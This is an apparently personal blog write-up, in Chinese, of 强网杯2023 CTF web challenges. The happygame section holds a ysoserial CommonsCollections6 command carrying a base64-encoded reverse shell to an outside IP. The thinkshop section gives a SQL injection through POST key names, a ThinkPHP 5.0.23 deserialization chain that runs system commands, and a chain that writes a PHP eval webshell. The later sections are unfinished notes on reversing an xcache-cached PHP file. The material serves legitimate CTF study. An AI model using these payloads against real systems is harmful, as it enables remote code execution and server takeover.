目录

  1. 1. 前言
  2. 2. Web
    1. 2.1. happygame(复现)
    2. 2.2. thinkshop(复现)
    3. 2.3. thinkshopping(未完成)
    4. 2.4. easyphp(未完成)
    5. 2.5. hello spring(未完成)

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

强网杯2023

2023/12/18 CTF线上赛
  |     |   总文章阅读量:

前言

果然,还是什么都做不到吗。。。

一题都没出,web全靠巨魔发力了

pop神的wp:https://boogipop.com/2023/12/18/%E7%AC%AC%E4%B8%83%E5%B1%8A%20%E5%BC%BA%E7%BD%91%E6%9D%AF%20%E5%85%A8%E5%9B%BD%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E6%8C%91%E6%88%98%E8%B5%9B%20Web%20Writeup/

WM的wp:https://blog.wm-team.cn/index.php/archives/69/

大头哥的wp:https://www.yuque.com/dat0u/ctf/vspr1g8x58cwuc9a

Web

happygame(复现)

grpc + cc6

我怎么连题目都进不去

这题要用到grpc来连接

grpcurl:https://github.com/fullstorydev/grpcurl

grpcui:https://github.com/fullstorydev/grpcui

先grpcurl探测一下:

grpcurl 8.147.133.95:32106 list
grpcurl -plaintext 8.147.133.95:32106 list
grpcurl -plaintext 8.147.133.95:32106 list helloworld.Greeter

image-20231217173552755

总共两个交互方法ProcessMsg和SayHello

然后用grpcui连接

grpcui -plaintext 8.147.133.95:32106

image-20231217172232991

可以看到在ProcessMsg这里的请求体里面字段名为serializeData,猜测框架是java,要进行java反序列化

测试一下发现是cc6的链子

生成反弹shell的payload:

java -jar ysoserial-all.jar CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTUuMjM2LjE1My4xNzAvNTc3NDYgMD4mMQ==}|{base64,-d}|{bash,-i}" > data.txt

base64 data.txt

注意传入json的时候要把换行都去掉

image-20231217175901502

image-20231217175926557

执行,返回Hello World,此时就弹shell成功了

image-20231217180041881

image-20231217180022242


thinkshop(复现)

tp5

thinkphp框架,拿到附件解压,按照readme的要求起docker

docker load < thinkshop.tar
docker run -tid --name thinkshop -p 36000:80 -e FLAG=flag{test_flag} thinkshop

既然有本地环境了那我们就审一下

随便访问个不存在的路径弄出报错,发现版本是5.0.23

先看看几个sql文件

image-20240320002838931

找到admin的数据,得到username和password(somd5解一下是123456)

接下来一般就是直接访问 /public/index.php/index/Admin/login 进行登录

但这里逆天的是登录时的username不是admin

回来看下Admin.php的 do_login 登录验证

image-20240320002625556

从admin表里查询数据,将密码做md5之后做比对,比对成功之后鉴权成功

但是这里需要注意的是:传入的username直接放到了 find 方法的参数中,而在大多数情况下,我们调用find方法时都是无参调用(参考官方手册

在find有参数的情况下,默认会去找数据表中的主键列,而这里的admin明显在第一列

所以使用1、123456登录到后台即可

进后台之后就是思考怎么rce了

发现good_edit页这里存在反序列化入口

image-20240320004848259

会对数据库中的data进行反序列化,tp5.0.23有对应的链子可以打rce

接下来找找怎么控制这个$goods['data']

因为是在 goods_edit 页面进行反序列化的,我们直接看一下do_edit方法

public function do_edit()
{
    if(!session('?admin'))
    {
        $this->error('请先登录','index/admin/login');
    }
    $goodsModel = new Goods();
    $data = input('post.');
    $result = $goodsModel->saveGoods($data);
    if ($result) {
        $this->success('商品信息更新成功', 'index/index/index');
    } else {
        $this->error('商品信息更新失败');
    }
}

POST体里的所有数据都会交给saveGoods处理,既然调用了saveGoods,那么跟进到 Goods.php 的 saveGoods 方法

public function saveGoods($data)
{
    $data['data'] = base64_encode(serialize($this->markdownToArray($data['data'])));
    return $this->save($data);
}

接下来跟进到 save 方法

public function save($data){
    $update = new Update();
    return $update->updatedata($data , 'goods' , $data['id']);
}

注意,在这个过程中,$data这个数组都是完全可控的

继续跟进到 Update.php 的 updatedata 方法

image-20240320010827881

注意到这里的$key没做任何过滤,我们的数组的键和值都是完全可控的,因此存在sql注入,注入点在post请求的键名

那么注入的payload为(注意=进行url编码,空格为了防止被php解析成_需要用/**/替代)

data`%3Dunhex('十六进制数据')/**/where/**/id%3D1/**/or/**/6%3D6#=1

然后找一条5.0的链子poc改改

<?php
namespace think\process\pipes{
    use think\model\Pivot;
    ini_set('display_errors',1);
    class Windows{
        private $files = [];
        public function __construct($function,$parameter)
        {
            $this->files = [new Pivot($function,$parameter)];
        }
    }
    $a = array(new Windows('system','ls /'));
    echo bin2hex(base64_encode(serialize($a)));
}
namespace think{
    abstract class Model
    {}
}
namespace think\model{
    use think\Model;
    use think\console\Output;
    class Pivot extends Model
    {
        protected $append = [];
        protected $error;
        public $parent;
        public function __construct($function,$parameter)
        {
            $this->append['jelly'] = 'getError';
            $this->error = new relation\BelongsTo($function,$parameter);
            $this->parent = new Output($function,$parameter);
        }
    }
    abstract class Relation
    {}
}
namespace think\model\relation{
    use think\db\Query;
    use think\model\Relation;
    abstract class OneToOne extends Relation
    {}
    class BelongsTo extends OneToOne
    {
        protected $selfRelation;
        protected $query;
        protected $bindAttr = [];
        public function __construct($function,$parameter)
        {
            $this->selfRelation = false;
            $this->query = new Query($function,$parameter);
            $this->bindAttr = [''];
        }
    }
}
namespace think\db{
    use think\console\Output;
    class Query
    {
        protected $model;
        public function __construct($function,$parameter)
        {
            $this->model = new Output($function,$parameter);
        }
    }
}
namespace think\console{
    use think\session\driver\Memcache;
    class Output
    {
        protected $styles = [];
        private $handle;
        public function __construct($function,$parameter)
        {
            $this->styles = ['getAttr'];
            $this->handle = new Memcache($function,$parameter);
        }
    }
}
namespace think\session\driver{
    use think\cache\driver\Memcached;
    class Memcache
    {
        protected $handler = null;
        protected $config  = [
            'expire'       => '',
            'session_name' => '',
        ];
        public function __construct($function,$parameter)
        {
            $this->handler = new Memcached($function,$parameter);
        }
    }
}
namespace think\cache\driver{
    use think\Request;
    class Memcached
    {
        protected $handler;
        protected $options = [];
        protected $tag;
        public function __construct($function,$parameter)
        {
            // pop链中需要prefix存在,否则报错
            $this->options = ['prefix'   => 'jelly/'];
            $this->tag = true;
            $this->handler = new Request($function,$parameter);
        }
    }
}
namespace think{
    class Request
    {
        protected $get     = [];
        protected $filter;
        public function __construct($function,$parameter)
        {
            $this->filter = $function;
            $this->get = ["jelly"=>$parameter];
        }
    }
}

在/public/index.php/index/admin/do_edit.html打入payload

image-20240320012607760

image-20240320012545225

写webshell的poc(by boogipop)

<?php
namespace think\cache\driver;

class File {
    protected $options = [];
    protected $tag;
    public function __construct() {
        $this->tag = 'xige';
        $this->options = [
            'cache_subdir'  => false,
            'prefix'        => '',
            'path' => 'php://filter/write=string.rot13/resource=static/<?cuc @riny($_TRG[\'n\']); ?>', // 因为 static 目录有写权限
            'data_compress' => false
        ];
    }
}

namespace think\session\driver;
use think\cache\driver\File;

class Memcached {
    protected $handler;
    function __construct() {
        $this->handler=new File();
    }
}

namespace think\console;
use think\session\driver\Memcached;

class Output {
    protected $styles = [];
    private $handle;
    function __construct() {
        $this->styles = ["getAttr", 'info',
            'error',
            'comment',
            'question',
            'highlight',
            'warning'];
        $this->handle = new Memcached();
    }
}

namespace think\db;
use think\console\Output;

class Query {
    protected $model;
    function __construct() {
        $this->model = new Output();
    }
}

namespace think\model\relation;
use think\console\Output;
use think\db\Query;

class HasOne {
    public $model;
    protected $selfRelation;
    protected $parent;
    protected $query;
    protected $bindAttr = [];
    public function __construct() {
        $this->query = new Query("xx", 'think\console\Output');
        $this->model = false;
        $this->selfRelation = false;
        $this->bindAttr = ["xx" => "xx"];
    }}

namespace think\model;
use think\console\Output;
use think\model\relation\HasOne;

abstract class Model {
}

class Pivot extends Model {
    public $parent;
    protected $append = [];
    protected $data = [];
    protected $error;
    protected $model;

    function __construct() {
        $this->parent = new Output();
        $this->error = new HasOne();
        $this->model = "test";
        $this->append = ["test" => "getError"];
        $this->data = ["panrent" => "true"];
    }
}

namespace think\process\pipes;
use think\model\Pivot;

class Windows {
    private $files = [];
    public function __construct() {
        $this->files=[new Pivot()];
    }
}

$obj = new Windows();
$payload = serialize([$obj]);
echo base64_encode($payload);

thinkshopping(未完成)

和前一题的区别在于把 goods_edit.html 中的反序列化入口删掉了


easyphp(未完成)

xcache逆向

???一名优秀的web手应该掌握二进制

这题感觉难得离谱,我居然花了大把时间在上面。。。

给了两个路由

第一个是phpinfo

另一个是challenge.php,需要我们输入一个key就能得到flag

phpinfo那里在Xcache扩展的mmap.path中发现mmap缓存文件能够直接下载下来

image-20231216182839791

拿到ida里面反编译一下看看

image-20231217004337784

然后呢。。。然后我就不知道了。。

工具:https://github.com/Tools2/Zend-Decoder

Zend Guard Loader下载:https://teddysun.com/417.html

本地要起一个和题目一样的php环境

FROM ubuntu:22.04

ENV TZ=Asia/Shanghai \
    DEBIAN_FRONTEND=noninteractive
RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.aliyun.com/g" /etc/apt/sources.list && sed -i "s/http:\/\/security.ubuntu.com/http:\/\/mirrors.aliyun.com/g" /etc/apt/sources.list && \
apt update && apt install -y software-properties-common && add-apt-repository ppa:ondrej/php -y && apt install -y php5.6 php5.6-cli
RUN apt install -y php5.6-dev
ADD ./xdebug-2.5.5 /tmp/xdebug
RUN cd /tmp/xdebug \
    && phpize \
    && ./configure --enable-xdebug \
    && make -j$(nproc) \
    && make install \
    && cd /
ADD ./xcache /tmp/xcache
RUN cd /tmp/xcache \
    && phpize \
    && ./configure --enable-xcache --enable-xcache-disassembler \
    && make -j$(nproc) \
    && make install \
    && cd /
COPY xcache.ini /tmp/
COPY challenge.php /var/www/html/
COPY info.php /var/www/html/
RUN cat /tmp/xcache.ini >> /etc/php/5.6/apache2/php.ini && touch /var/www/html/b3debcdfb73572a549ac64da1c830d72 && chmod 777 /var/www/html/b3debcdfb73572a549ac64da1c830d72
# RUN echo 'extension = xcache.so' > /etc/php/5.6/mods-available/xcache.ini
RUN echo 'extension = xcache.so' > /etc/php/5.6/apache2/conf.d/20-xcache.ini
RUN echo 'zend_extension=/usr/lib/php/20131226/xdebug.so' > /etc/php/5.6/apache2/conf.d/99-xdebug.ini
RUN echo '[Xdebug]' >> /etc/php/5.6/apache2/conf.d/99-xdebug.ini
RUN echo 'xdebug.auto_trace=On' >> /etc/php/5.6/apache2/conf.d/99-xdebug.ini
RUN echo 'xdebug.collect_params=1' >> /etc/php/5.6/apache2/conf.d/99-xdebug.ini
RUN echo 'xdebug.collect_return=1' >> /etc/php/5.6/apache2/conf.d/99-xdebug.ini
RUN echo 'xdebug.collect_assignments=1' >> /etc/php/5.6/apache2/conf.d/99-xdebug.ini
RUN echo 'xdebug.collect_vars=1' >> /etc/php/5.6/apache2/conf.d/99-xdebug.ini
RUN ln -sf /proc/self/fd/1 /var/log/apache2/access.log && \
    ln -sf /proc/self/fd/1 /var/log/apache2/error.log
CMD apachectl -D FOREGROUND -X
docker run –name dump –network=host –privileged –rm -it -v /tmp/clean_b3_mod:/tmp/clean_b3:ro test1

hello spring(未完成)